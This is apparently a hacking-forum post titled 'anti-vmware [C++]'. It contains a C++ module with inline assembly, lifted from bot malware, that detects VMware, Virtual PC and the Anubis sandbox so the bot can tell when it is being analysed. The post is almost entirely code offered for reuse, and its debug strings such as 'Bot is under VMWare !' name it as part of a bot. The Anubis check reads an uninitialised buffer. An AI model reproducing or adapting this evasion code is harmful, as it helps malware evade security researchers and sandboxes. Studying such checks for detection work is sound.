Jump to content
io.kent

anti-vmware [C++]

Recommended Posts

Posted
#include "../Headers/includes.h"
#include "../Headers/functions.h"

#ifndef NO_ANTIVM

DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
{
PCONTEXT ctx = ep->ContextRecord;
ctx->Ebx = -1; // Not running VPC
ctx->Eip += 4; // skip past the "call VPC" opcodes
return EXCEPTION_CONTINUE_EXECUTION;
}

bool DetectVPC()
{
bool bVPCIsPresent = FALSE;

__try
{
_asm push ebx
_asm mov ebx, 0 // It will stay ZERO if VPC is running
_asm mov eax, 1 // VPC function number
_asm __emit 0Fh
_asm __emit 3Fh
_asm __emit 07h
_asm __emit 0Bh
_asm test ebx, ebx
_asm setz [bVPCIsPresent]
_asm pop ebx
}

__except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
{
}

#ifdef DEBUG
if (bVPCIsPresent==TRUE)
DebugMsg("Bot is under VPC !");
else
DebugMsg("Bot is not running under VPC !");
#endif

return bVPCIsPresent;
}

bool DetectVMWare()
{
bool bVMWareIsPresent = TRUE;
__try
{
__asm
{
push edx
push ecx
push ebx

mov eax, 'VMXh'
mov ebx, 0 // any value but not the MAGIC VALUE
mov ecx, 10 // get VMWare version
mov edx, 'VX' // port number

in eax, dx // read port
// on return EAX returns the VERSION
cmp ebx, 'VMXh' // is it a reply from VMWare?
setz [bVMWareIsPresent] // set return value

pop ebx
pop ecx
pop edx
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
bVMWareIsPresent = FALSE;
}

#ifdef DEBUG
if (bVMWareIsPresent==TRUE)
DebugMsg("Bot is under VMWare !");
else
DebugMsg("Bot is not running under VMWare !");
#endif

return bVMWareIsPresent;
}

bool DetectAnubis()
{
char szBotFile[MAX_PATH];
bool bAnubisIsPresent = FALSE;

if (strstr(szBotFile, "C:\\InsideTm\\"))
bAnubisIsPresent = TRUE;

#ifdef DEBUG
if (bAnubisIsPresent==TRUE)
DebugMsg("Bot is running under Anubis !");
else
DebugMsg("Bot is not running under Anubis !");
#endif

return bAnubisIsPresent;
}

bool IsProcessRunningUnderVM()
{
bool bVMWare;
bool bVPC;
bool bAnubis;

bVMWare = DetectVMWare();
bVPC = DetectVPC();
bAnubis = DetectAnubis();

if (bVPC==TRUE || bVMWare==TRUE || bAnubis==TRUE)
return TRUE;

return FALSE;
}
#endif

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...